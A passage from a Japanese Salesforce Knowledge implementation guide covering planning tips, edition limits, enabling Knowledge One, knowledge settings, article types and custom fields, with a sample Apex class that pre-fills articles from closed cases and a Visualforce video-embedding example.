• データカテゴリを設定する前に、カテゴリグループとその階層を慎重に計画します。また、カテゴリ階層

をロール階層にどのように対応付けるかについても検討します。詳細は、「データカテゴリの表示設定」
を参照してください。

• Salesforce ナレッジデータに関するカスタムレポートを作成します。また、AppExchange から知識ベースのダッ
シュボードおよびレポートアプリケーションをインストールすると、20 種を超える有益なレポートを入手
できます。

• 複数のエージェントが同時に 1 つの記事を編集できます。その場合、変更内容を頻繁に保存したとしても、
記事への変更が警告なしに別の編集者によって上書きされる可能性があります。不測のデータ損失を避け
るため、記事を編集するすべてのユーザに、割り当てられた記事のみを編集するように指示します。

• 記事、記事タイプ、およびデータカテゴリの最大制限を理解します。
• 定期的に使用状況を見直してストレージ不足を回避します。[設定] から、[クイック検索] ボックスに「組

織のディスク使用量」と入力し、[組織のディスク使用量] を選択します。
• 公開知識ベースユーザは記事を評価できません。
• ファイルカスタム項目の種別を使用すると、エージェントが記事にドキュメントを添付できます。
• 記事タイプのカスタム項目を別のデータ型に変換すると、データが失われる場合があります。項目にデー

タがある場合、カスタム項目の変換は行わないでください。
• Salesforce ナレッジの表示ラベル名を変更する場合、タイトルや種別などの標準項目名は固定されています。

記事の作成ページや記事の編集ページのこれらの項目は、表示ラベルが変更されません。組織が別の言語
に設定されている場合、これらの項目はその言語の固定された表示ラベルのままになります。

• Salesforce ナレッジ検索エンジンでは、見出語化をサポートしています。見出語化とは、単語をその原形に
戻すプロセスです。見出語化を使用すると、検索語の拡張形との一致も検出されます。たとえば、
「running」を検索すると、run、running、および ran を含む項目が一致します。
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• 組織が必要とする記事のタイプと、エージェントによるこれらの記事タイプの利用法を明確に理解してく
ださい。記事タイプとその利用法によって、Salesforce ナレッジユーザに割り当てる必要がある記事タイプ
権限と記事アクションが決まり、それに基づいて組織で必要な一連のプロファイルや権限セットを作成で
きます。詳細は、「ナレッジ記事へのアクセス」 (ページ 3407)を参照してください。

• ワークフロールールを作成する必要がある記事タイプがあるかどうか判別します。たとえば、エージェン
トがケースのクローズ時に記事を作成したら記事マネージャにメールを送信するルールを作成できます。

• 承認プロセスを作成する必要がある記事タイプがあるかどうか判別します。たとえば、外部に公開する前
に法務と経営陣の承認が必要な記事タイプがある場合、その記事タイプに承認プロセスを作成します。

関連トピック:

Salesforce ナレッジの制限
知識ベースの構築
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)

Salesforce ナレッジの制限
エディション別の Salesforce ナレッジの制限です。
Salesforce ナレッジは、コンテンツを作成および管理するための知識ベースです。コミュニティ (Classic ナレッジ
のみ) で Salesforce ナレッジが有効になっている場合、顧客およびパートナーは記事にアクセスできます。

メモ: 次の制限はデフォルトの制限です。一部の制限は拡大できます。制限を緩和するには、Salesforce に
お問い合わせください。

Lightning Knowledge の詳細Classic ナレッジの詳細Salesforce ナレッジの制限

50,000 個の記事50,000 個の記事最大記事数

なし100 個の記事タイプ最大記事タイプ

なしEnterprise Edition、Developer Edition、お
よび Unlimited Edition: 記事タイプあた
り 500 個のカスタム項目
Performance Edition: 記事タイプあたり
800 個のカスタム項目

記事タイプあたりの最大カスタム
項目数

なし5 個のファイル項目最大ファイル項目

ファイルは最大 25 MB です。ファイル項目は添付ファイルとし
てカウントされます。最大25 MBで
す。

最大ファイルサイズ

131072 文字131072 文字最大リッチテキストエリアサイズ

1638400 文字1638400 文字記事のすべてのリッチテキストエ
リア項目の合計サイズ

3355

Salesforce ナレッジの追加カスタマーサポートツールの設定および管理

https://resources.docs.salesforce.com/202/latest/en-us/sfdc/pdf/salesforce_knowledge_implementation_guide.pdf


Lightning Knowledge の詳細Classic ナレッジの詳細Salesforce ナレッジの制限

1 つのリッチテキスト項目で、異な
る Salesforce ナレッジ記事に最大 100

個のリンクを設定できます。

1 つのリッチテキスト項目で、異な
る Salesforce ナレッジ記事に最大 100

個のリンクを設定できます。

リッチテキストエリア項目での一
意の最大記事参照 (リンク) 数

記事イベントは、最長 18 か月間追
跡されます。

記事イベントは、最長 18 か月間追
跡されます。

記事履歴の追跡

なし16 個のサポート言語最大サポート言語数

なしインポート .zip ファイルは次の要件
を満たす必要があります。

記事のインポート

• .csv ファイルと .properties ファイ
ルをそれぞれ 1 つのみ含めるこ
とができます。

• .csv ファイルと .properties ファイ
ルがルートディレクトリに配置
されている必要があります。

• 圧縮プロセスでフォルダとサブ
フォルダの構造を維持する必要
があります。

• .zip ファイル名に特殊文字は使用
できません。

• .zip ファイルは 20 MB を、zip ファ
イル内の各非圧縮ファイルは 10

MB を超えることはできません。
• ヘッダー行を含め .csv ファイル

に 10,000 を超える行を含めるこ
とはできません。したがって、
最大 9,999 個の記事と翻訳を含め
ることができます。

• .csv ファイルの行が 400,000 文字
を超えることはできません。

• .csv ファイルのセルが 32 KB を超
えることはできません。

• .csv ファイルの各記事に 50 以上
の翻訳を含めることはできませ
ん。

カテゴリグループ 5 つ、一度に有効
にできるグループ 3 つ

カテゴリグループ 5 つ、一度に有効
にできるグループ 3 つ

最大データカテゴリグループ数お
よび有効なデータカテゴリグルー
プ
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Lightning Knowledge の詳細Classic ナレッジの詳細Salesforce ナレッジの制限

1 つのデータカテゴリグループに
100 個のカテゴリ

1 つのデータカテゴリグループに
100 個のカテゴリ

データカテゴリグループあたりの
最大カテゴリ数

1 つのデータカテゴリグループ階層
に 5 個のレベル

1 つのデータカテゴリグループ階層
に 5 個のレベル

データカテゴリグループ階層あた
りの最大レベル数

記事に割り当てられたデータカテ
ゴリグループの 8 個のデータカテゴ
リ

記事に割り当てられたデータカテ
ゴリグループの 8 個のデータカテゴ
リ

記事に割り当てられたデータカテ
ゴリグループの最大データカテゴ
リ数

なし組織で最大 2,000 個の昇格済み用語
を作成できます。

昇格済み検索語の最大数

関連トピック:

Salesforce ナレッジの概要
知識ベースの計画
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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知識ベースの構築

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

Salesforce ナレッジを有効
にする
• 「アプリケーションの

カスタマイズ」

組織にナレッジユーザライセンスがある場合、そのライセンスが割り当てられ
ているユーザは知識ベースを構築できます。
組織にナレッジユーザライセンスがあることを確認するには、[設定] から、[ク
イック検索] ボックスに「会社」と入力し、[組織情報] を選択します。ナレッジ
ユーザライセンスは、ページの下部にある [機能ライセンス] 関連リストに表示
されます。
Salesforce ナレッジユーザであることを確認するには、[設定] から、[クイック検
索] ボックスに「個人」と入力し、[個人情報] を選択します。[ナレッジユーザ]

チェックボックスは、[ユーザの詳細] セクションの 2 番目の列です。
Salesforce ナレッジを有効にするには、[設定] から、[クイック検索] ボックスに「ナ
レッジ」と入力し、[ナレッジの設定]を選択します。Salesforce ナレッジを有効に
することを確認し、[Knowledge を有効化]をクリックします。組織に記事タイプ
が定義されていない場合は、デフォルトの記事タイプが作成されます。

メモ:  Spring '16 より前にナレッジを有効している場合は、最初に記事タイプ
を作成する必要があります。Spring '16 リリース以降は、最初に記事タイプ
を作成する必要がありません。

関連トピック:

Salesforce ナレッジの有効化
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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Salesforce ナレッジの有効化

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce ナレッジを使用
可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

[ナレッジの設定] ページから、サポートエージェント、パートナー、顧客が利用
する知識ベース環境を作成できます。
知識ベースを設定または編集するには、[設定] から、[クイック検索] ボックス
に「ナレッジの設定」と入力し、[ナレッジの設定] を選択して [編集] をクリック
します。

説明機能またはオプション

一般設定

エージェントが [記事の管理] タブに移
動しなくても記事を編集できます。[編
集] をクリックすると、記事の編集ペー
ジが開きます。記事に公開バージョン
が存在する場合は、公開バージョンを
表示したり、現在のバージョンを編集
したりできます。ドラフト版が存在す
る場合は既存のドラフトの編集を続行
できますが、未公開の変更を上書きし
ないようにドラフトを慎重に確認する
必要があります。

[記事] または [ナレッジ] タブからの記
事の作成と編集をエージェントに許可
する

[検証状況] (ページ3465)項目をすべての
Salesforce ナレッジ記事に追加します。

検証状況項目を有効化

記事の内容が検証されたかどうかを示
す値をエージェントが選択できます。

標準エディタの <iframe> 要素を使用し
て Dailymotion、Vimeo、および YouTube

標準エディタで外部マルチメディアコ
ンテンツを HTML に追加することをエー
ジェントに許可する Web サイトからマルチメディアコンテ

ンツを組み込めるようにします。エー
ジェントは、<iframe> HTML を切り取っ
てエディタに貼り付けるだけです。

記事の概要

チャネルごとに、検索結果の記事のタ
イトルの下に記事の詳しい説明を表示
するかどうかを指定します。

記事リストビューに記事の概要を表示
する

Knowledge One

プロファイルを使用した Knowledge One

の有効化
権限セットを使用した Knowledge One の
有効化

[記事] タブから [ナレッジ] タブに切り
替える
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説明機能またはオプション

[ナレッジ] タブの検索では、コンテンツの類似性と、
類似のケースへのリンクに基づいて記事を推奨しま

ケースの関連記事を推奨

す。類似のケースにリンクしている記事がない場合、
推奨記事はケースとタイトルが似ているものか、シス
テム管理者が選択したケース項目に共通のキーワード
があるものになります。推奨記事は、Salesforce Console

for Service やポータルで、既存のケースを参照するとき
やケースを作成するときに使用できます。最後に、推
奨記事が適切でない場合、ケースを処理しているユー
ザは特定のキーワードで検索を実行し、別の記事を得
ることができます。

メモ: デフォルトで、[件名]項目は選択されてい
ます。問題、影響を受ける商品、またはケース
トピックの説明が記載された、使用可能な短い
テキスト項目を最大 5 つ選択します。関連性の
高い結果が返されるように短いテキスト項目を
選択することをお勧めします。システム管理者
が選択したすべての項目から、コンテンツの最
初の 100 文字のみが検索されます。[説明] 項目
は、ケースの記事を推奨するときに常に考慮さ
れ、文字数制限に対してカウントされません。

[ナレッジ] タブの検索では、関連する記事のテキスト
のスニペットが生成され、検索語が太字で表示されま

検索結果内で関連する記事のテキストを強調表示

す。「検索の強調表示とスニペット」を参照してくだ
さい。

[ナレッジ] タブの検索では、[ナレッジ] タブで最も頻
繁に実行されたキーワード検索を 3 つ提案します。提

キーワード検索をオートコンプリート

案は、閲覧者が検索しているチャネル (内部、顧客、
パートナー、公開) に基づきます。

メモ: キーワード検索履歴は、1 日に 1 回更新さ
れます。

[ナレッジ] タブの検索では、タイトルが一致する記事
を最大 3 つ提案します。

タイトル検索をオートコンプリート

言語設定

記事の記述に使用する主言語。この言語が、組織のデ
フォルト言語になります。知識ベースのデフォルト言
語と組織の言語を同じにすることをお勧めします。

知識ベースのデフォルト言語
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説明機能またはオプション

複数の言語をサポートしている場合は、[複数言語] を
選択して、翻訳設定を選択します。手順は、「マルチ
言語の知識ベースの設定」を参照してください。

単一言語または複数言語

重要: マルチ言語の知識ベースを設定します。
重要: [複数言語] を有効にした場合、単一言語の
知識ベースに戻すことはできません。

ケースの設定

このチェックボックスがオンになっている場合は、
エージェントが次のいずれかのオプションを使用し

ケースからの記事の作成をエージェントに許可する

て、ドラフト記事を作成し、記事が公開されるときに
ケースに添付することができます。
• ケースをクローズするときにのみ、簡易エディタ

を使って記事を作成する。
• エージェントが記事を作成するときに、標準エディ

タを使って記事を作成する。ユーザに「記事の管
理」権限、「参照」権限、および「作成」権限が
必要です。次のとおり指定します。
– デフォルトの記事タイプ (ドロップダウンから)

– ケースクローズ時に作成された記事の場合、記
事をユーザに割り当てます。

– ドラフトの項目に事前入力する Apex クラスを
選択すると、エージェントが記事をすばやく作
成できるようになります。デフォルトでは、ど
のドラフト記事も [タイトル] 項目にケースの件
名が記入されます。

メモ: このオプションを有効にする場合
は、各ケースクローズページレイアウト
で [レイアウトのプロパティ] もクリック
し、[ケースクローズ時の登録を有効化]

と [記事を登録] を選択します。

デフォルトでは、ユーザがケースから記事 PDF を直接
作成すると、ユーザに表示されるすべての記事の項目

プロファイルを使用して、記事の PDF を作成する

がその PDF に含まれます。顧客に特定の項目を表示し
ないプロファイルなど、異なるプロファイルに基づい
て PDF を生成する必要がある場合は、[プロファイル
を使用してお客様が利用可能なケースに関する記事の
PDF を作成] を選択して、項目表示を指定するプロファ
イルを選択します。
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説明機能またはオプション

エージェントおよび Salesforce ナレッジマネージャは、
記事が添付されているケースのリストを表示できま

記事にリンクされたケースのリストを有効化

す。これは、記事がケースに適した解決策かどうかを
確認し、レポートを実行せずに最も使用される記事を
表示するのに役立ちます。[リンク済みケース] 関連リ
ストの表示内容は、次のようになります。
• 少なくとも 1 回公開されている記事の詳細ページ

またはプレビューページに表示される。
• 最大 200 件のケースが表示される。
• 記事がケースにリンクされた日付で降順に並び替

えられる。並び替え順は変更できません。
• アーカイブ済み記事または翻訳の編集ページと詳

細ページには表示されない。
• ポータルユーザやコミュニティユーザなどの外部

ユーザには表示されず、Salesforce1 でも表示されな
い。

URL 設定で記事を共有

URL を使用して、公開知識ベースで使用可能な記事を
共有できます。[利用可能なサイト] リストで、エー

公開 URL を使用して記事の共有をエージェントに許可
する

ジェントが URL を送信できるようにするサイトを選択
し、それらを [選択したサイト] リストに追加します。
次にエージェントは、公開知識ベースの記事に直接リ
ンクする URL を含むメールをカスタマーサービスクラ
イアントに送信できます。

アンサー設定

このチェックボックスがオンになっている場合、アン
サーコミュニティまたは Chatter アンサーコミュニティ

返信からの記事の作成をエージェントに許可する

のメンバーが役に立つ返信を記事に変換できます。選
択した記事タイプによって、ドラフト記事に表示され
る項目が決まります。ただし、どの記事も [タイトル]

には質問、[概要] には返信が記入されます。返信を記
事に昇格すると、元の返信にはドラフト記事との関連
付けを示す状況メッセージが表示されます。記事が公
開されると、返信に対するメッセージには記事へのリ
ンクが含まれます。

Chatter の質問の設定

ユーザが [検索] 項目に質問を入力したときに、類似の
質問と関連する Salesforce ナレッジ記事を表示します。

ユーザが Chatter で質問するときに関連する記事を表
示 (Chatter を使用するコミュニティにも適用)
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説明機能またはオプション

ナレッジの統計設定

このオプションを使用すると、記事投票の統計レポー
ト (デフォルトでは星による評価の合計のみ) に、プラ
スまたはマイナス評価の合計が含まれます。

記事のプラス投票とマイナス投票を有効化

関連トピック:

知識ベースの構築
ナレッジ記事タイプ
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)

権限セットを使用した Knowledge One の有効化

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

権限セットを作成または
編集する
• 「プロファイルと権限

セットの管理」

外部データソースを作成
および編集する
• 「アプリケーションの

カスタマイズ」

ユーザを [記事] タブから [ナレッジ] タブに切り替えるには、「Knowledge One」
権限をユーザの権限セットに追加します。
「Knowledge One」権限を権限セットに追加する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ

ト] を選択します。
2. 「Knowledge One」権限を追加する権限セットをクリックします。
3. [設定の検索...] ボックスに、「Knowledge」と入力します。
4. 推奨リストから [Knowledge One] を選択します。
5. [編集] をクリックします。
6. [ナレッジの管理] で、[Knowledge One] の [有効化] チェックボックスをオ

ンにします。
7. [保存] をクリックします。
8. 各ユーザが 1 つ以上の記事タイプに対して「参照」以上の権限を持っている

ことを確認します。
ユーザが Knowledge One を使用できるようになったら、外部データソースを定義
します。外部データソースは、検索結果と左側のパネルの両方で、記事の下に
表示されます。

関連トピック:

プロファイルを使用した Knowledge One の有効化
知識ベースの構築
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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プロファイルを使用した Knowledge One の有効化

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

プロファイルを作成また
は編集する
• 「プロファイルと権限

セットの管理」

外部データソースを作成
および編集する
• 「アプリケーションの

カスタマイズ」

ユーザを [記事] タブから [ナレッジ] タブに切り替えるには、「Knowledge One」
権限をユーザのプロファイルに追加します。
「Knowledge One」権限をプロファイルに追加する手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. 「Knowledge One」権限を追加するプロファイルをクリックします。
3. [設定の検索...] ボックスに、「Knowledge」と入力します。
4. 推奨リストから [Knowledge One] を選択します。
5. [編集] をクリックします。
6. [ナレッジの管理] で、[Knowledge One] をオンにします。
7. [保存] をクリックします。
8. 各ユーザが 1 つ以上の記事タイプに対して「参照」以上の権限を持っている

ことを確認します。
ユーザが Knowledge One を使用できるようになったら、外部データソースを定義
します。外部データソースは、検索結果と左側のパネルの両方で、記事の下に
表示されます。

関連トピック:

権限セットを使用した Knowledge One の有効化
知識ベースの構築
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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ケースから記事を送信する場合の Apex の例

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

Salesforce ナレッジ設定を
編集する
• 「アプリケーションの

カスタマイズ」

Apex クラスを作成する
• 「Apex 開発」

カスタマーサポートエージェントがケースのクローズ時に Salesforce ナレッジ記
事を作成することが組織で認められている場合は、Apex を使用してドラフト記
事の項目に自動入力できます。これを行うためには、以下の例をガイドとして、
Apex クラスを作成し、ケース記事タイプに割り当てます。
Apexの構文と使用方法についての詳細は、『Force.comApexコード開発者ガイド』
を参照してください。
この例では、次の記事タイプ、項目、データカテゴリを作成して設定します。
新しいオブジェクトそれぞれに割り当てられたデフォルトの [API 参照名] を
変更しないでください。
1. 「FAQ」という記事タイプを作成します。
2. [詳細] というテキストカスタム項目を作成します。
3. 「場所」というカテゴリグループを作成して、「USA」というカテゴリを割

り当てます。
4. 「トピック」というカテゴリグループを作成して、「メンテナンス」という

カテゴリを割り当てます。
この時点で、Apex クラスを作成して割り当てます。

5. [設定] から、[クイック検索] ボックスに「Apex クラス」と入力し、[Apex ク
ラス] を選択して、[新規] をクリックします。

6. このクラスで使用する Apex および API のバージョンを指定するには、[バー
ジョン設定] をクリックします。
組織が AppExchange から管理パッケージをインストールしている場合は、こ
のクラスで使用する各管理パッケージのバージョンも指定できます。すべて
のバージョンでデフォルト値を使用します。デフォルト値では、Apexおよび
API についても、各管理パッケージについても、クラスを最新バージョンに
関連付けます。最新バージョンのパッケージのものとは異なるコンポーネン
トや機能にアクセスする場合は、管理パッケージの古いバージョンを指定することもできます。特定の動
作を維持するために、Apex および API の古いバージョンを指定できます。

7. [Apex クラス] テキストボックスに次のスクリプトを入力して、[保存] をクリックします。
public class AgentContributionArticleController {

// The constructor must take a ApexPages.KnowledgeArticleVersionStandardController
as an argument

public
AgentContributionArticleController(ApexPages.KnowledgeArticleVersionStandardController
ctl) {

SObject article = ctl.getRecord(); //this is the SObject for the new article.

//It can optionally be cast to the proper
article type, e.g. FAQ__kav article = (FAQ__kav) ctl.getRecord();

String sourceId = ctl.getSourceId(); //this returns the id of the case that was
closed.
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Case c = [select subject, description from Case where id=:sourceId];

article.put('title', 'From Case: '+c.subject); //this overrides the default
behavior of pre-filling the title of the article with the subject of the closed case.

article.put('Details__c',c.description);

ctl.selectDataCategory('Geography','USA'); //Only one category per category
group can be specified.

ctl.selectDataCategory('Topics','Maintenance');
}

8. [設定] から、[クイック検索]ボックスに「ナレッジの設定」と入力し、[ナレッジの設定]を選択して、[編集]

をクリックします。
9. ケース設定を確認します。この例では、[デフォルトの記事タイプ] は FAQ です。
10. [Apex カスタマイズを使用] メニューから [AgentContributionArticleController] を選択して、[保存] をクリック

します。
この例の結果、エージェントがケースクローズ画面から記事を作成する場合は、次のようになります。
• ケースの [説明] 項目のデータは、記事の [詳細] 項目に表示されます。
• 記事のタイトルには、作成元ケース: およびケース件名が含まれます。
• 記事は、USA データカテゴリと メンテナンス データカテゴリに自動的に割り当てられます。

関連トピック:

知識ベースの構築
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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カスタム Visualforce ページを使用したプロバイダからの動画の使用

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition
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ユーザ権限

Visualforceページを作成す
る
• 「アプリケーションの

カスタマイズ」

記事を作成する
• 「記事の管理」

および

記事タイプに対する
「参照」および「作
成」

ドラフト記事を編集する
• 「記事の管理」

および

記事タイプに対する
「参照」および「編
集」

公開記事またはアーカイ
ブ済み記事を編集する
• 「記事の管理」

および

記事タイプに対する
「作成」、「参照」、
および「編集」

カスタム Visualforce ページと HTML エディタを使用して、プロバイダからSalesforce

ナレッジ記事に動画を挿入できます。
たとえば、次のようにして Visualforce ページを作成します。

<apex:page showHeader="false" showChat="false" sidebar="false">
<iframe width="560" height="315"

src="http//myvideo.provider.com/embed/{!$CurrentPage.parameters.VideoID}"
frameborder="0" allowfullscreen="true">

</iframe>
</apex:page>

次に HTML エディタで、著者は次のコードを使用してビデオを参照できます。
<iframe frameborder="0" height="315"

src="https://<salesforce_instance>/apex/Video?videoID=12345"
width="560">

</iframe>

関連トピック:

知識ベースの構築
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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ナレッジ記事タイプ

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

FAQ やチュートリアルなどの記事タイプは、チャネルと呼ばれる各利用者に記事
を表示する方法を制御するための形式および構造を提供します。各記事タイプ
に対して、カスタム項目を作成し、セクションと項目を追加または削除してレ
イアウトをカスタマイズし、各チャネルのテンプレートを選択できます。ワー
クフロールールと承認プロセスを作成して、組織で記事の作成と公開を追跡お
よび管理することもできます。

関連トピック:

記事タイプの作成
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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記事タイプの作成

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

記事タイプを作成、編
集、または削除する
• 「アプリケーションの

カスタマイズ」

および

「Salesforce ナレッジ
の管理」

記事タイプは、記事の表示方法と、記事に含まれる項目の情報の種類を制御し
ます。

メモ: エージェントが記事タイプにアクセスできるようにするには、まず
記事タイプのオブジェクト権限を設定する必要があります。

1. [設定] から、[クイック検索] ボックスに「ナレッジ記事タイプ」と入力し、
[ナレッジ記事タイプ] を選択します。

2. [新規記事タイプ] をクリックするか、既存の記事タイプを編集します。
3. 記事タイプの詳細を入力します。

説明項目

ユーザインターフェースページで記
事タイプを参照するために使用する
名前。

表示ラベル

オブジェクトの複数形の表示ラベル。
このオブジェクトにタブを作成する
と、そのタブにこの名前が使用され
ます。

表示ラベル(複数形)

組織のデフォルト言語で必要な場合
は、表示ラベルの性を指定します。
この項目は、組織のデフォルトの言
語で文法的な性が区別される場合に
表示されます。個人の言語設定は、
この項目が表示されるか否かに影響
しません。

性別

組織のデフォルト言語に適合する場
合は、表示ラベルの先頭を「a」では

母音で始まる場合はチェック

なく「an」にする必要があるときに
はオンにします。

(参照のみ) Force.com API を使用すると
きに、記事タイプ参照に使用する一

オブジェクト名

意の名前。管理パッケージでは、こ
の一意の名前により、パッケージの
インストール時に名前が競合するこ
とを防ぎます。[オブジェクト名] 項
目には、アンダースコアと英数字の
みを使用できます。一意であること、
最初は文字であること、空白は使用
しない、最後にアンダースコアを使
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説明項目

用しない、2 つ続けてアンダースコアを使用しない
という制約があります。

記事タイプの説明 (省略可能)。意味のある説明を付
けると、記事タイプをリストに表示したときに記事
タイプ間の違いがわかりやすくなります。

説明

記事の全履歴およびそのバージョンを追跡するに
は、このオプションを選択します。項目自動更新、

項目履歴管理

公開ワークフローイベント、およびマスタ記事と翻
訳の各言語のバージョンは記録され、表示されま
す。

記事タイプを設定以外で表示できるかどうかを示し
ます。[開発中] は、記事の作成中に記事マネージャ

リリース状況

がこの記事タイプを選択できないことを意味しま
す。記事タイプの作成が完了した後は、[リリース済
み] のみを選択します。

4. [保存] をクリックします。
記事タイプの詳細ページで、次の操作を行います。
• [項目] 関連リストで、必要に応じてカスタム項目を作成または変更します。
• [項目] 関連リストで、項目を配置し直してセクションを作成するために、必要に応じて記事タイプレイア

ウトを編集します。
• [チャネルの表示] 関連リストで、内部アプリケーション、パートナー、カスタマー、公開知識ベースのテ

ンプレートを選択します。

関連トピック:

カスタム項目の記事タイプへの追加
記事タイプのページレイアウト
ナレッジ記事タイプ
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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カスタム項目の記事タイプへの追加

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

カスタム項目を作成また
は変更する
• 「アプリケーションの

カスタマイズ」

および

「Salesforce ナレッジ
の管理」

記事にとって重要な情報を保存するためのカスタム項目を作成します。記事タ
イプに設定されている標準項目は、[記事番号]、[概要]、[タイトル]、[URL 名] の
みです。少なくとも、著者が記事の本文を記述できる項目を作成する必要があ
ります。
開始する前に、作成するカスタム項目の種別を決定します。

メモ: 作成者は、記事の作成または編集時に、[URL 名]を表示できます。
[URL 名]は、公開記事を表示しているエンドユーザには表示されません。

1. [設定] から、[クイック検索] ボックスに「ナレッジ記事タイプ」と入力し、
[ナレッジ記事タイプ] を選択します。

2. 記事タイプを選択します。
3. [項目] 関連リストで [新規] をクリックします。
4. 作成する項目の種別を選択し、[次へ] をクリックします。
5. 項目表示ラベルを入力します。入力した項目表示ラベルに従って、項目名が

自動的に入力されます。
この名前は、アンダースコアと英数字のみを使用でき、組織内で一意にする
必要があります。最初は文字であること、空白は使用しない、最後にアン
ダースコアを使用しない、2 つ続けてアンダースコアを使用しないという制
約があります。

6. [説明]などの項目の属性を入力したら、[次へ]をクリックして続行します。

メモ: カスタム項目にデフォルト値は入力できません。

7. 項目レベルのセキュリティを設定して、特定のプロファイルに対してその項
目を表示および編集可能にするか、参照のみにするかを決定し、[次へ] をク
リックします。項目レベルのセキュリティを使用すると、各種チャネルに表
示可能な項目を制御できます。

8. 記事タイプレイアウトに項目が自動的に追加されないようにするには、[はい、このカスタム項目をレイア
ウトに追加します] をオフにします。

9. [保存] をクリックして終了するか、[保存 & 新規] をクリックして別のカスタム項目を作成します。
10. 必要に応じて、記事タイプレイアウトのカスタム項目を再配置します。

メモ: 項目を作成するときに、多数のレコードの一括変更が必要になる場合があります。この変更を効率
的に処理するために、Salesforceが要求をキューに入れ、プロセスが完了した時点でメール通知を送信する
ことがあります。
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警告: 記事タイプのカスタム項目を別のデータ型に変換すると、データが失われます。項目にデータがあ
る場合は、記事タイプのカスタム項目を変換しないでください。

関連トピック:

記事のカスタム項目
記事タイプの作成
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)

記事のカスタム項目

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

記事にカスタム項目を作成する第一歩は、データ型を選択することです。次の
表に、カスタム項目に使用できるすべてのデータ型を示します。

説明データ型

複数の通貨組織で、記事の通貨 ISO コー
ドを設定するための記事通貨項目を記
事に使用できます。

記事の通貨

エージェントが通貨の金額を入力でき
ます。システムによって項目が自動的
に通貨金額として書式化されます。こ
の項目は、データをスプレッドシート
アプリケーションにエクスポートする
場合に便利です。この項目を必須にす
ると、記事を保存する前にエージェン
トが値を入力する必要があります。

通貨

メモ: Salesforceは、通貨項目に対
して、近い方の偶数に丸めるタ
イブレークルールを使用します。
たとえば、23.5 は 24 になり、22.5

は 22 に、-22.5 は -22 に、そして
-23.5 は -24 になります。
値の精度は、15 桁より後で失わ
れます。

エージェントが日付を入力するか、
ポップアップカレンダーから選択でき

日付

ます。レポートの場合は、任意のカス
タム日付項目を使用して、データを特
定の日付に制限できます。この項目を
必須にすると、記事を保存する前に
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説明データ型

エージェントが値を入力する必要があります。

エージェントが日付を入力するか、ポップアップカレ
